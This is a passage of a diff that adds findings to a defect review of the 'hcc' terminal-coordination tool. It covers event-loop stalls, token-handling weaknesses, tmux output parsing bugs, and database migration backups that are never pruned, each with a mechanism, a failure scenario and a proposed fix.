+
- 机理:runtimeHttpRequest's plaintext branch is `const response = await fetch(url, { method, headers, body, signal })` (lib/web/runtime.mjs:100-104) — timeoutMs is only enforced on the TLS branch (req.setTimeout at :133). probeRuntime (lib/runtime/state.mjs:91-95) calls `runtimeHttpRequest(runtime, '/api/runtime', { headers })` with NO signal and NO timeoutMs. readHealthyRuntime/readHealthyGlobalRuntime are called at `hcc web` startup (bin/hcc.mjs:2636, 2709).
|
|
199
|
+
- 失败场景:The existing runtime's event loop is frozen (see xx-01/xx-02: registry lock or tmux hang). The CLI runs `hcc web`; readHealthyGlobalRuntime's probe fetch never resolves and never rejects — the CLI hangs forever with no error, no timeout, no retry. The TLS path would have timed out after 8s; the plaintext path cannot.
|
|
200
|
+
- 修复:Pass an abort signal / timeout into runtimeHttpRequest for the plaintext branch too (AbortSignal.timeout(timeoutMs) with the existing default 8000), and have probeRuntime supply one.
|
|
201
|
+
- 验证:undefined
|
|
202
|
+
|
|
203
|
+
**xx-05(中) `bin/hcc.mjs:820` — migrateRegisteredProjectDbs retries uncached-failure sibling DBs on every connect(); a busy sibling stalls every request**
|
|
204
|
+
- 机理:connect() calls migrateRegisteredProjectDbs(ctx) (bin/hcc.mjs:771-786), which loops over readProjectRegistry() and opens+migrates every registered sibling DB not in `migratedRegisteredProjectDbs`. The cache is only populated on SUCCESS (:826 `migratedRegisteredProjectDbs.add(cacheKey)`); the catch path (:822-827) logs and `continue`s without caching. A corrupt or permanently busy sibling DB is therefore re-opened and re-migrated on every connect() — and every web request (session lookup, WS upgrade, actions) calls connect(). Each attempt on a busy DB can block up to the DatabaseSync `timeout: 5000` (:817) on the main thread.
|
|
205
|
+
- 失败场景:Project B's mesh.db is held in a long write transaction (or its disk is stalled). Every request to project A's runtime pays up to 5s opening/migrating B's DB; with the shared runtime this stalls A's terminal I/O too, and the failure repeats on every request because the failure is never cached. A corrupt B costs the same retry loop per request (fast throw, but repeated syscalls + initSchema on every connect).
|
|
206
|
+
- 修复:Cache failures too (bounded negative cache with TTL, e.g. 5 min), and don't run the migration fan-out inside the per-request connect path — only at runtime startup and on explicit project registration.
|
|
207
|
+
- 验证:undefined
|
|
208
|
+
|
|
209
|
+
**xx-09(中) `bin/hcc.mjs:3055` — Architectural: bin/hcc.mjs now 8457 lines; multi-project pollers still hardcoded to the primary ctx; master token never rotates**
|
|
210
|
+
- 机理:(1) bin/hcc.mjs has grown to ~8457 lines (task brief said ~6400) — the web server, CLI, coordinator, GC, and migration logic are one file with ~20 long-lived closures over shared state (sessions/projectContexts/webSessions), so per-request behavior can only be understood globally. (2) bg-04 remains true: adoptExternalSession hardcodes `const pctx = ctx` (bin/hcc.mjs:3055) and scanExternalSessions only watches the PRIMARY project's bufsDir — sessions of secondary projects (via /api/sessions?root=...) are external/tmux only for the primary; documented as deferred but still present. (3) The master token is never rotated (only web.log is 'rotated', bin/hcc.mjs:2657); a leaked `?token=` URL remains a permanent full-access credential — the docs' net-02 'URL 令牌一次性交换' overstates this (the exchange redirects the URL away, but the token itself never rotates and remains accepted by authOk).
|
|
211
|
+
- 失败场景:Any one of: a secondary project whose external sessions never get adopted (silent gap vs the primary's behavior); a token logged once (browser history, proxy logs, shell history from `hcc web --token ...`) grants indefinite remote access with no revocation short of restarting with a new token; and any future edit to the 8457-line file has a huge blast radius over the shared closures.
|
|
212
|
+
- 修复:Split the web runtime out of bin/hcc.mjs into lib/web/ (started), generalize the external-session watchers to all remembered projects (bg-04), and add token rotation on login/issue with a grace window for existing sessions.
|
|
213
|
+
- 验证:undefined
|
|
214
|
+
|
|
215
|
+
**xx-04(低) `bin/hcc.mjs:2994` — Per-session action token compared with plain `!==`, contradicting the docs' net-06 'constant-time comparison' claim**
|
|
216
|
+
- 机理:resolveWebActionSession checks `const expected = session.actionToken || ''; ... if (!expected || provided !== expected)` (bin/hcc.mjs:2994-2995), and the terminal WS input gate uses `if (session.actionToken && msg.action_token !== session.actionToken) return;` (:5823). Only the master token uses timingSafeEqual (tokenMatches, lib/web/http.mjs:60-68). The docs' defect-review-2026-07.md section 1.5 claims net-06 '常量时间比较' fixed — that only holds for the master token. String `!==` exits at the first differing byte, leaking the token byte-by-byte via timing over repeated guesses (256-bit token, so impractical locally, but the claim/code mismatch is real and the fix is trivial). Additionally the WS guard fail-opens (`session.actionToken && ...`) if any future session-creation path omits the token.
|
|
217
|
+
- 失败场景:A loopback attacker (or a malicious page driving many WS input attempts) measures per-request timing of rejected action_token guesses to recover the 32-byte token incrementally; more directly, the documented net-06 guarantee is simply not implemented for this token, so a code reviewer or security audit keying off the docs will miss it.
|
|
218
|
+
- 修复:Use tokenMatches(msg.action_token, session.actionToken) (already timing-safe) at both sites, and drop the `&&` guard once all creation paths set the token.
|
|
219
|
+
- 验证:undefined
|
|
220
|
+
|
|
221
|
+
**xx-06(低 *(PLAUSIBLE)*) `lib/terminal/tmux.mjs:179` — tmuxPaneInfo '|' separator corrupts parsing when pane_current_command contains '|'; only the path field is re-joined**
|
|
222
|
+
- 机理:The new separator format `'#{pane_id}|#{pane_dead}|#{pane_pid}|#{pane_current_command}|#{pane_current_path}'` is parsed with `out.split('|')` and only `currentPath` is rebuilt with `parts.slice(4).join('|')` (lib/terminal/tmux.mjs:171-188). The comment claims '|' never appears in command — true for command *names* in practice, but the split misaligns all later fields if it does (e.g., a binary renamed with prctl, or a tmux version/plugin that emits extra text). pane_current_path rejoin is correct; the command field is not.
|
|
223
|
+
- 失败场景:A pane's foreground process name contains '|' (pathological but possible via argv0 rename, e.g. `exec -a 'foo|bar'`). tmuxPaneInfo returns a truncated command and a path that includes the command tail; callers using info.cwd/info.command (attachTmuxSession default command `tmux ${pane} (${command})`, adoptExternalSession) get wrong cwd/command, and pane matching by command name (isLikelyShellCommand, inferPeerKind) misclassifies the session.
|
|
224
|
+
- 修复:Place the variable-width fields last and re-join everything after the first four separators (path AND command), or switch to a control-character separator that tmux cannot rewrite.
|
|
225
|
+
- 验证:undefined
|
|
226
|
+
|
|
227
|
+
**xx-07(低) `bin/hcc.mjs:2810` — parseCookieSid has no value-length bound; per-request decodeURIComponent of attacker-controlled cookie value**
|
|
228
|
+
- 机理:parseCookieSid (bin/hcc.mjs:2810-2818) reads the whole hcc_sid cookie value, `decodeURIComponent(rest.join('='))`, and uses it as a Map key in webSessions.get(...) on every request — no length cap. It is bounded only by Node's default maxHeaderSize (~16KB), so each request spends up to 16KB of parsing/decoding on a key that can never match (sid is 32 base64url chars, bin/hcc.mjs:2839).
|
|
229
|
+
- 失败场景:A LAN client floods the runtime (bound 0.0.0.0 by default) with 16KB hcc_sid cookies per request; each request pays decodeURIComponent + Map probe of a never-matching key, adding measurable CPU per request and polluting nothing but wasting cycles — trivially fixable.
|
|
230
|
+
- 修复:Reject cookies whose decoded length exceeds the sid length (e.g., 64 chars) before decoding/lookup.
|
|
231
|
+
- 验证:undefined
|
|
232
|
+
|
|
233
|
+
**xx-08(低) `bin/hcc.mjs:5948` — uncaughtException/unhandledRejection 'kept alive' handlers have no state recovery or flap protection**
|
|
234
|
+
- 机理:process.on('uncaughtException') and 'unhandledRejection' (bin/hcc.mjs:5948-5955) log one console line and continue — no in-flight request reset, no transaction rollback check, no crash-loop/flap detection. A handler that throws mid-request can leave its response hanging and its DB connection or session state inconsistent; a request path that consistently throws now degrades the server forever instead of crashing loudly (docs rob-01 asked for a restart state machine with flap protection — implemented as 'keep alive' only). The exit backstop (bin/hcc.mjs:5935-5946) kills pty children but tmux/external sessions are intentionally left live, so a wedged runtime leaves managed tmux sessions running untracked.
|
|
235
|
+
- 失败场景:A corrupt payload makes the /api/sessions route throw after writing a response header. The socket hangs; every subsequent request to that route logs and 500s; nothing resets the half-written buffer or closes the hung connection. The runtime appears alive ('kept alive') while its state silently diverges from the DB, and the dead-peer reaper only repairs on the next start.
|
|
236
|
+
- 修复:Track in-flight handlers and close their responses on uncaughtException; add a flap counter (N uncaught exceptions in M minutes -> clean shutdown + child restart with backoff), per the supervisord-style state machine the docs themselves proposed.
|
|
237
|
+
- 验证:undefined
|
|
238
|
+
|
|
239
|
+
### Uncommitted diff: shim peer_hash + identity + UI logout/action tokens
|
|
240
|
+
|
|
241
|
+
**identity-3(中) `lib/core/peers/session.mjs:9` — sess-04 identity change has no alias/migration: resuming pre-upgrade sessions splits one conversation across two peer ids**
|
|
242
|
+
- 机理:`providerSessionPeerId` changed from `sanitizePeerPart(String(providerId||'').slice(0,8), shortHash(providerId))` (raw first-8 chars) to `shortHash(String(providerId || ''))` (sha1 of the full id, session.mjs:9-11), and the shim's `peer_hash` changed in lockstep. Existing mesh.db peers, peer_bindings, and tmux session names (`hcc-<shortHash(root)>-<peerId>`, lib/terminal/tmux.mjs:153) still embed the OLD id (e.g. `claude-d3b07384`). After upgrade, resuming the same provider session derives a NEW id (`claude-<sha1prefix>`): the shim starts a fresh tmux session under the new id while `reAdoptOrphanManagedTmuxSessions` (bin/hcc.mjs:4982-5068) still re-adopts the old detached tmux session under the old id; the hook's canonical-binding dedup (bin/hcc.mjs:6369-6386) then pins locks/events to one of the two peers depending on registration order. The doc flags this as an intentional pre-1.0 change (docs/defect-review-2026-07.md sess-04), but nothing in code provides an alias/redirect from old ids to new ids, so the runtime has no way to join them.
|
|
243
|
+
- 失败场景:Before upgrade: `claude --session-id 550e8400-...` creates peer `claude-550e8400` (running tmux session `hcc-<hash>-claude-550e8400`). After upgrade, the user resumes that session: shim derives `claude-652c4b4d` and creates a second tmux session; the old tmux session is still re-adopted under `claude-550e8400`; the session list shows two sessions for one conversation, and lock/takeover decisions for the conversation can be attributed to the stale peer while typing happens in the new one.
|
|
244
|
+
- 修复:On first use of the new derivation, alias old-style ids to new-style ids (e.g. when upserting a peer/binding whose provider_session_id matches an existing binding with a legacy-format peer id, merge the rows or insert a peer_alias table); or derive the id in a versioned way (`claude-v2-...`) so both can coexist unambiguously until GC.
|
|
245
|
+
- 验证:undefined
|
|
246
|
+
|
|
247
|
+
**shim-1(中) `lib/integrations/shims/script.mjs:142` — shim peer_hash hard-dependency: on systems without openssl/sha1sum/shasum every session-id/resume/name launch silently bypasses hello-cc**
|
|
248
|
+
- 机理:Both wrapper templates now derive the peer id via `peer_hash()` (a sha1 subprocess pipeline: `printf '%s' "$1" | openssl dgst -sha1` with sha1sum/shasum fallbacks and a strict 40-hex `is_sha1_hex` check). Every non-tty branch ends with `PEER_ID=$(provider_peer_id "$SESSION_ID") || exec "$REAL_BIN" "$@"` (lines 142/144/146/148; codex line 415). If NO sha1 tool exists or all produce invalid output, the shim execs the real provider binary directly with only a one-line stderr message (`hello-cc: unable to derive peer id...`, line 94). The previous implementation (`sanitize_peer_part`, pure shell string ops) could never fail. The old code had no such dependency; this change introduces a hard external-tool dependency for the entire --resume/--session-id/--name/`codex resume` flow. I verified byte-identity of the hash derivation (openssl vs `createHash('sha1')` matched for UUIDs, names, uppercase, multi-byte UTF-8, and `|`-containing ids), so the mapping itself is correct — the defect is the fail-closed dependency, not the hash. Note: docs/defect-review-2026-07.md section 6 round 10 documents this as intentional ('无法安全派生 peer id 时透明启动真实 provider'), but the consequence — silent, unrecoverable coordination loss for the session — is not surfaced anywhere to the user beyond a stderr line, and the session never enters the mesh, never attaches to a pane, and never resumes correctly.
|
|
249
|
+
- 失败场景:A minimal container or stripped Linux (no openssl, no coreutils sha1sum, no perl/shasum), or a user whose PATH was modified, runs `claude --resume <id>` / `codex resume <id>`: peer_hash returns 1, the shim prints one stderr line and execs the real binary. The session runs with zero hcc integration (no tmux pane, no peer registration, no hooks context) — the user's other agents and the web console silently lose all visibility and coordination with that session. There is no error exit code and no retry; every launch fails the same way until the user manually installs a sha1 tool.
|
|
250
|
+
- 修复:Fall back to a pure-shell sha1 (or to the JS side) instead of failing closed: e.g. have `provider_peer_id` fall back to a shell-only digest, or have the shim call `"$HCC_BIN"` to compute the hash (`hcc find-root`-style helper subcommand) since HCC_BIN is guaranteed present; at minimum, exit with a non-zero status and an actionable message rather than silently running the provider bare, or log a coordination-loss warning to a file the runtime can surface.
|
|
251
|
+
- 验证:undefined
|
|
252
|
+
|
|
253
|
+
**ui-4(中) `lib/web/ui-template.mjs:1650` — Logout in one tab puts every other open tab into an infinite 2-second WebSocket reconnect storm**
|
|
254
|
+
- 机理:The logout button (ui-template.mjs:1855-1860) POSTs /logout; the server calls `closeWebSession(sid)` (bin/hcc.mjs:5349-5352 → 2820-2827), which closes every WS socket of that session with code 4001. In every OTHER open tab, `ws.onclose` (ui-template.mjs:1650-1658) schedules `openWs(id)` after 2s if `sessions.find(s => s.id === id)` still reports status 'running' — but `sessions` is only refreshed via refreshState(), which now 401s (the cookie was expired), so the stale 'running' entry persists and the guard `active === id` stays true. `openWs` reconnects, the upgrade is rejected with 401 (bin/hcc.mjs:5767-5778), the socket is destroyed, onclose fires again → another 2s retry — forever, until the tab is closed or reloaded. Each iteration performs a full HTTP+WS handshake against the runtime.
|
|
255
|
+
- 失败场景:User has the console open in two tabs, logs out in tab 1. Tab 2 immediately and permanently begins a 2s loop of WS upgrade attempts (each getting a 401 and being torn down), until the tab is closed. On a machine with several stale tabs this is continuous handshake noise against the runtime, and the tab never recovers on its own even if the user logs back in (it keeps using the stale session list).
|
|
256
|
+
- 修复:In `ws.onclose`, distinguish server-initiated closures (e.g. `event.code === 4001` or a 'logout' close reason) and stop auto-reconnecting; also re-fetch the session list before reconnecting or drop reconnect when `refreshState` returns 401 (cookie invalid).
|
|
257
|
+
- 验证:undefined
|
|
258
|
+
|
|
259
|
+
**cookie-7(低 *(PLAUSIBLE)*) `bin/hcc.mjs:5298` — Cookie-exchange 302 keeps the ?token= URL as the browser history entry, contradicting the help text claim that the token 'no longer sits in ... browser history'**
|
|
260
|
+
- 机理:GET / with a valid ?token= issues a 302 + Set-Cookie redirect to the bare URL (bin/hcc.mjs:5298-5308). Browsers record the ORIGINAL (token-bearing) URL as the history entry for that navigation; the address bar shows the redirected URL, but Back/Forward (and tab restore) revisits the token URL, and each such revisit re-runs the exchange (re-issuing a session cookie). lib/ui/help.mjs:470-472 asserts the token 'no longer sits in the address bar, browser history, or Referer headers' — the address-bar part is true post-redirect, but the history part is not; the token also remains in the server-side referrer of any request the pre-redirect page made and in web.log's printed URL.
|
|
261
|
+
- 失败场景:User opens the printed `hcc web` URL with ?token=..., is redirected to a bare URL, and later presses Back (or the browser restores the tab from history): the address bar and any open-developer-tools/network view re-expose the full token; a keylogger-adjacent local process reading browser history finds the token long after the session was established.
|
|
262
|
+
- 修复:Issue a short-lived exchange token that is single-use server-side (one-time redemption, revoked after first exchange) so a history copy of the URL cannot re-authenticate; keep the 302 flow otherwise.
|
|
263
|
+
- 验证:undefined
|
|
264
|
+
|
|
265
|
+
**drift-6(低) `bin/hcc.mjs:684` — Security helpers duplicated between bin/hcc.mjs and lib/web/http.mjs; the exported lib copies are dead code in the server path**
|
|
266
|
+
- 机理:bin/hcc.mjs defines its own `isLoopbackRemote`, `firstForwardedValue`, `requestIsSecure`, `requestOriginMatches` (lines 674-715) and `tokenMatches` (665-672), while lib/web/http.mjs exports `tokenMatches`, `requestIsSecure`, `requestOriginMatches` with identical bodies (lib/web/http.mjs:58-113). The server (cmdWeb) uses only the local copies; the lib/web/http.mjs exports are imported nowhere else, so any future fix (e.g. adding a check to `requestOriginMatches`) applied to one copy silently misses the other. They are textually identical today, which I verified, but the divergence is unenforced by any test.
|
|
267
|
+
- 失败场景:A maintainer patches the CSRF origin check in lib/web/http.mjs (the natural home, since it exports the functions) and the regression suite still passes because the server keeps using the private copy in bin/hcc.mjs — the fix silently never takes effect for the cookie-CSRF path.
|
|
268
|
+
- 修复:Delete the private copies in bin/hcc.mjs and import `requestIsSecure`, `requestOriginMatches`, `tokenMatches` from lib/web/http.mjs (the runtime server already imports from that module).
|
|
269
|
+
- 验证:undefined
|
|
270
|
+
|
|
271
|
+
**tmux-8(低) `bin/hcc.mjs:3207` — listTmuxPanesOnce: a '|' inside a tmux session_name (user-created sessions) shifts field indexes and corrupts the parsed cwd for auto-attach**
|
|
272
|
+
- 机理:`listTmuxPanesOnce` (bin/hcc.mjs:3203-3221) parses `#{pane_id}|#{pane_pid}|#{pane_current_command}|#{session_name}|#{pane_current_path}` by `line.split('|')` and only the LAST field (path) is protected by `parts.slice(4).join('|')`. A tmux session the user created named `a|b` puts the '|' inside `#{session_name}` (position 3), shifting the path into parts[4..] so `cwd` becomes `b|<real-path>` — the pane is then auto-attached with a bogus cwd. (lib/terminal/tmux.mjs:168-190 has the same structural issue for `#{pane_id}|#{pane_dead}|#{pane_pid}|#{pane_current_command}|#{pane_current_path}` — there the path is genuinely last so only the path is at risk, and the path is rejoined.) The pane-id/pid/command fields cannot contain '|', so this is limited to session names and paths.
|
|
273
|
+
- 失败场景:A user has an unrelated tmux session named `prod|hotfix`. `listTmuxPanesOnce` returns a row for a pane in it with `sessionName: 'prod'` and `cwd: 'hotfix|<real path>'`; the auto-attach/scanAndAttachDetectedPeers logic then attaches coordination state to the wrong working directory (wrong project context or a nonexistent path), mis-directing peer evidence and GC decisions.
|
|
274
|
+
- 修复:Put session_name last before the path (or escape/validate it): move `#{session_name}` adjacent to the path and rejoin both, or reject/quote rows where parts.length exceeds the expected count.
|
|
275
|
+
- 验证:undefined
|
|
276
|
+
|
|
277
|
+
**ui-9(低) `lib/web/ui-template.mjs:1021` — First input frames after selecting a session can be silently dropped because the action_token slot is still empty (or stale) while the new WS is connecting**
|
|
278
|
+
- 机理:Input frames carry `action_token: sessionActionTokens[active] || ''` (ui-template.mjs:1021 and 1719). The token for a session is only stored when the snapshot frame arrives (line 1637), but the snapshot is sent by the server immediately after upgrade (bin/hcc.mjs:5815) — there is a window between `openWs(id)` (line 1625) and the snapshot being processed (upgrade round-trip latency, reconnection after a runtime restart, or a re-adopted session whose token was regenerated) during which `sessionActionTokens[active]` is '' or holds the PREVIOUS session's token. The server rejects mismatched/missing tokens silently (`if (session.actionToken && msg.action_token !== session.actionToken) return;`, bin/hcc.mjs:5823) — no error frame, no visible feedback. Also, if the user switches sessions (selectSession → ws.close() → openWs(id2)) and types during the transition, the frame can go out on the old connection with the new session's token, also silently dropped.
|
|
279
|
+
- 失败场景:Runtime restarts; the browser auto-reconnects (2s timer, ui-template.mjs:1653); the user immediately types into the terminal before the snapshot frame for the reconnected (re-adopted, new actionToken) session has arrived → the keystrokes vanish with no error indication; the user only notices when the terminal appears unresponsive.
|
|
280
|
+
- 修复:Buffer input frames until the snapshot token arrives (or queue up to N ms after ws open), and/or have the server send a 'token-ready' acknowledgement or an error frame on token mismatch so the client can retry rather than drop.
|
|
281
|
+
- 验证:undefined
|
|
282
|
+
|
|
283
|
+
**ws-5(低) `bin/hcc.mjs:5815` — action_token is broadcast to every WS client and never rotated: the net-05 'only the controlling client can use it' guarantee does not hold, and the input gate adds no protection beyond the cookie**
|
|
284
|
+
- 机理:The snapshot frame carrying the action token is sent to every client that completes a terminal WS upgrade (`ws.send(JSON.stringify({ type: 'snapshot', ..., action_token: session.actionToken || null }))`, bin/hcc.mjs:5815), not only to a designated controlling client, and the token is a single per-session value valid for the whole session lifetime (set once at creation, `newSessionActionToken()` at bin/hcc.mjs:3080/4415/5142, never rotated). The comment at bin/hcc.mjs:3713-3716 claims 'so only the controlling client can use it', which is inaccurate: any client that can authenticate the upgrade (i.e. any cookie/token holder — the same population that can already write to the terminal via the WS) receives the token in the very first frame. The input gate (line 5823) therefore only filters clients that skip the WS snapshot, and `resize` frames (5826-5830) bypass the gate entirely.
|
|
285
|
+
- 失败场景:A read-only API integration that obtained a session cookie (or token) but is not supposed to type into terminals simply opens `/ws/terminal/<id>`, reads the snapshot frame's action_token, and sends `{type:'input', action_token, data:'...'}` — the exact capability net-05 was intended to withhold from non-controlling clients is handed out to every connector on connect.
|
|
286
|
+
- 修复:Either issue a per-client token at upgrade (store it on the ws object, echo only that client's token in its snapshot), rotate it on reconnect, and validate per-connection; or drop the claim in the comment and rely on the WS-level auth as the actual gate.
|
|
287
|
+
- 验证:undefined
|
|
288
|
+
|
|
289
|
+
### Committed v1: schema v7 migration + DB backups + GC/registry/buffer changes
|
|
290
|
+
|
|
291
|
+
**v1-02(中) `lib/db/migration-backup.mjs:110` — Migration backups are never rotated, pruned, or restorable, and accumulate a full DB copy on every failed/racing migration attempt**
|
|
292
|
+
- 机理:`ensureMigrationBackup` publishes a full `VACUUM INTO` copy as `<db>.pre-v<from>-to-v<to>.<ts>.<suffix>.bak` (20-22, 102-130) and `connect()` runs it as `beforeMigration` on every connection while `readSchemaVersion < 7` (bin/hcc.mjs:777-778). The backup is created *before* the migration transaction; if the migration then fails (crash between backup and tx commit, disk full mid-tx, busy), the DB stays at v6 and every subsequent CLI invocation or runtime request re-runs `beforeMigration` → another full copy. The fanout `migrateRegisteredProjectDbs` (bin/hcc.mjs:792-831) does the same for every registered project DB. Nothing anywhere deletes `.bak` files (grep for `.bak`/`migration-backup` in production code finds only the creation path), and there is no restore command or documented procedure. There is also no disk-space check before `VACUUM INTO`, which transiently needs ~2x the DB size in the staging directory (104).
|
|
293
|
+
- 失败场景:A project DB at v6 with a migration that repeatedly fails (e.g., a row that trips the unique-index creation, or the process killed mid-migration). Every `hcc status`/`hcc peer` invocation (each is a fresh process) creates another full `.bak` (potentially hundreds of MB each) before failing, so disk usage grows without bound and the project becomes unusable (fail-closed: `connect()` throws, all commands fail) until the backups are manually discovered and deleted. Even in the healthy case, two racing processes (CLI + runtime) each publish a backup of every unmigrated DB, doubling disk usage per version bump, permanently.
|
|
294
|
+
- 修复:Prune/rotate: keep at most N (e.g., 3) backups per project per from/to range, delete older ones after a successful migration, and add a documented restore path (e.g., `hcc db restore <bak>` that checks quick_check + schema version before swap). Check free space before VACUUM INTO and fail with a clear message.
|
|
295
|
+
- 验证:undefined
|
|
296
|
+
|
|
297
|
+
**v1-04(中) `lib/shared/file-lock.mjs:677` — Web runtime event loop freezes up to 5s on a contended registry write: withFileLock waits with Atomics.wait on the main thread**
|
|
298
|
+
- 机理:`withFileLock` is a synchronous, blocking lock: `acquire` (629-681) loops `sleep(Math.min(retryMs, remaining))` where `sleep` is `Atomics.wait(waitBuffer, 0, 0, milliseconds)` (19-21) — this parks the entire Node process main thread, not just the calling code. The web runtime's HTTP handler for `POST /api/projects` calls `rememberProject` → `registerProject` → `withFileLock(registryPath, ...)` with the default `timeoutMs = 5000` (bin/hcc.mjs:5369; lib/runtime/projects.mjs:292-296, 275-290). Any concurrent holder of the registry lock (another CLI `registerProject`/`registerProjectActivity` process doing `readProjectRegistry` normalization — stat + realpathSync per project, slow on network filesystems — or a momentarily stale claim) makes the runtime stall for the remaining lock wait.
|
|
299
|
+
- 失败场景:A user clicks 'Register Project' in the web UI while a CLI process (e.g., a `hcc run` hook or a slow `hcc register` on an NFS home) holds the registry lock. The single-threaded runtime freezes for up to 5 seconds: all PTY session I/O, tmux polling, WebSocket broadcasts, and heartbeat writes stop, then resume. Under repeated contention every API call that touches the registry incurs this stall; with a wedged-but-live holder the runtime is hard-stalled for the full 5s on each request.
|
|
300
|
+
- 修复:Use a nonblocking fast path for the runtime's HTTP handler (as `registerProjectActivity` already does with `nonblocking: true`), or move registry writes off the request path (queue + periodic flush), or implement the lock wait asynchronously (worker/child process) so the event loop is never parked.
|
|
301
|
+
- 验证:undefined
|
|
302
|
+
|
|
303
|
+
**v1-03(低) `lib/db/schema.mjs:119` — Backup created under a race is mislabeled: a process that observes a stale pre-migration version can back up the already-migrated DB as 'pre-v<from>-to-v<to>'**
|
|
304
|
+
- 机理:`initSchema` reads `existingVersion` once at the top (106) and calls `beforeMigration` based on that stale snapshot (119-123). Meanwhile `runSchemaMigrations` re-reads the version fresh inside the function (390) and short-circuits if another process already migrated (401). Two processes (e.g., web runtime request handler and a CLI command) can both see version 6; process A runs its `VACUUM INTO` and then the migration tx; process B's `VACUUM INTO` blocks on `busy_timeout = 5000` (bin/hcc.mjs:771) until A commits, then snapshots the *post-migration* v7 database into a file named `.pre-v6-to-v7.<ts>.<suffix>.bak`, verifies it (quick_check ok — it is a perfectly valid v7 DB), and publishes it. B's `runSchemaMigrations` then short-circuits, so no error is ever raised.
|
|
305
|
+
- 失败场景:CLI runs `hcc register`/any command while the web runtime is handling a request, both racing the v6→v7 migration on the same mesh.db. The runtime publishes a full v7 snapshot mislabeled 'pre-v6-to-v7'. Later, an operator restoring that backup to recover the pre-migration state gets v7 data/schema with no indication it is post-migration — the restore point is corrupt relative to its label, and no log line distinguishes the two backups (both are identical `pre-v6-to-v7` names differing only by random suffix).
|
|
306
|
+
- 修复:Inside `beforeMigration`, re-read the schema version immediately before `VACUUM INTO` and skip/abort if it changed (or take the backup inside the migration transaction itself with `BEGIN IMMEDIATE` so the version cannot change between backup and migration).
|
|
307
|
+
- 验证:undefined
|
|
308
|
+
|
|
309
|
+
**v1-05(低) `lib/runtime/projects.mjs:316` — registerProjectActivity silently drops registry refreshes on lock contention, and the wall-clock throttle can suppress refreshes for the full duration of a clock step-back**
|
|
310
|
+
- 机理:`registerProjectActivity` calls `updateProjectRegistry(candidate, { nonblocking: true })` (316) inside a bare `try { ... } catch {}` (317): if the registry lock is held by another process at that instant, `acquire` throws `ERR_FILE_LOCK_BUSY` immediately (file-lock.mjs:647) and the update is dropped with no retry. The in-process throttle `recentActivityLocks` (302-315) then records the attempt, so an identical refresh within 60s is skipped even if the lock is free — the lost write is never retried by that process. Separately, the persistence throttle compares wall-clock values: `registryTimestamp() - (row.last_seen_at || 0) < REGISTRY_WRITE_THROTTLE_SEC` (282-284); after a backward clock step of D seconds, `now - last_seen_at` is negative for D seconds, suppressing every refresh for that window — the same class of clock-jump hazard the project mitigates everywhere else (CLOCK_GRACE_SEC).
|
|
311
|
+
- 失败场景:A CLI `hcc gc`/`hcc run` and the runtime both call `registerProjectActivity` at the same instant; the loser's refresh is dropped and cached as 'attempted'. The registry's `last_seen_at` for the project is never updated, so `readProjectRegistry()`'s ordering (sorted by `last_seen_at` desc, projects.mjs:228) and any 'recently active' UI display become stale indefinitely. With an NTP step-back of 30 minutes, all refresh writes are suppressed for 30 minutes even with zero contention.
|
|
312
|
+
- 修复:On busy, record the pending refresh in the throttle cache with a retry deadline instead of marking it attempted; use a monotonic clock or the persisted `last_seen_at` semantics for the throttle (e.g., clamp negative deltas to 0) or reuse the clock-grace mechanism.
|
|
313
|
+
- 验证:undefined
|
|
314
|
+
|
|
315
|
+
**v1-06(低) `bin/hcc.mjs:7664` — Manual `hcc gc --yes` without `--history` now prunes nothing of the history tables (events/tasks/messages/handoffs are all 'protected'); only the runtime's auto-gc (events only) or an explicit flag prunes them**
|
|
316
|
+
- 机理:After 1c6fb40, `runGc` computes `historyCategories = auto ? ['events'] : ['events', 'tasks', 'messages', 'handoffs']` and `applyHistory = auto || history` (7663-7665). For a manual run without `--history`, `applyHistory` is false, so in `runGcWithHistorySnapshot` the branch at 7855-7859 marks every eligible event/task/message/handoff as `protected_*` instead of deleting. Meanwhile auto-gc only ever runs inside the web runtime process (`runAutoGc`, 3554-3583 — scheduled at startup and every 6h). A user who only ever runs the CLI (never `hcc web`) and relies on a scheduled `hcc gc --yes` gets zero event/task cleanup: the events/tasks/messages/handoffs tables grow without bound and the command reports 'history rows deferred: 0' only when a runtime was seen; otherwise it reports protected counts. This is a silent behavior regression vs. the pre-v1 behavior where manual gc pruned history by default.
|
|
317
|
+
- 失败场景:An operator runs `hcc gc --yes` weekly (cron, no web runtime). The locks/buffers are pruned, but the events table (every audit event, hook payload, session start/stop) accumulates forever because `applyHistory` is false and auto-gc never runs. After months, the events table reaches millions of rows and every `hcc` command pays full scans (e.g., `events` snapshot INSERT in gc-plan.mjs:107-112) plus WAL growth. The change is intentional per the commit message but is invisible to the user: the gc output shows 'protected old events: N' with no hint that the default no longer bounds history growth.
|
|
318
|
+
- 修复:Document/emit an explicit notice on manual gc without --history that history is retained ('run with --history to prune history rows'), and/or make the CLI run auto-scope event pruning when no runtime is present, or default manual gc to prune events only (the pre-v1 behavior).
|
|
319
|
+
- 验证:undefined
|
|
320
|
+
|
|
321
|
+
**v1-07(低) `bin/hcc.mjs:792` — Every fresh CLI/runtime process re-attempts backup+migration of every registered sibling DB while any is unmigrated; a persistently failing or slow sibling adds a failed VACUUM INTO attempt to every connect**
|
|
322
|
+
- 机理:`migrateRegisteredProjectDbs` (792-831) is invoked from every `connect()` (781) and iterates all registered projects, opening each sibling DB and running `initSchema` → `ensureMigrationBackup` → migration. The `migratedRegisteredProjectDbs` set (763) is per-process and only records successes (818), so any sibling whose migration/backup keeps failing (corrupt DB, read-only mount, network FS that exceeds `busy_timeout = 5000` on VACUUM INTO) is re-attempted on every single command of every new process — including each runtime request path that calls `connect()`. The failure is caught and logged (819-823) so commands proceed, but each connect pays the full failed attempt serially.
|
|
323
|
+
- 失败场景:A registered project's mesh.db is on a slow NFS mount. While it is unmigrated, every CLI command (`hcc status`, `hcc peer`, ...) and every runtime API request that connects stalls up to ~5s on the sibling's `VACUUM INTO` busy-wait before the catch-and-continue at 819. With 2-3 such siblings, every command takes tens of seconds. The error is only visible via console.error noise ('skipping registered project DB migration ...').
|
|
324
|
+
- 修复:Persist a negative cache (per DB path + schema version + last-failure timestamp) across processes, e.g., a meta key or a marker file, so failing siblings are retried at most every N minutes instead of per connect.
|
|
325
|
+
- 验证:undefined
|
|
326
|
+
|
|
327
|
+
**v1-08(低) `lib/shared/file-lock.mjs:289` — File-lock claim-restore can spuriously throw EEXIST and fail a valid registry write when two processes race to reclaim a dead claim**
|
|
328
|
+
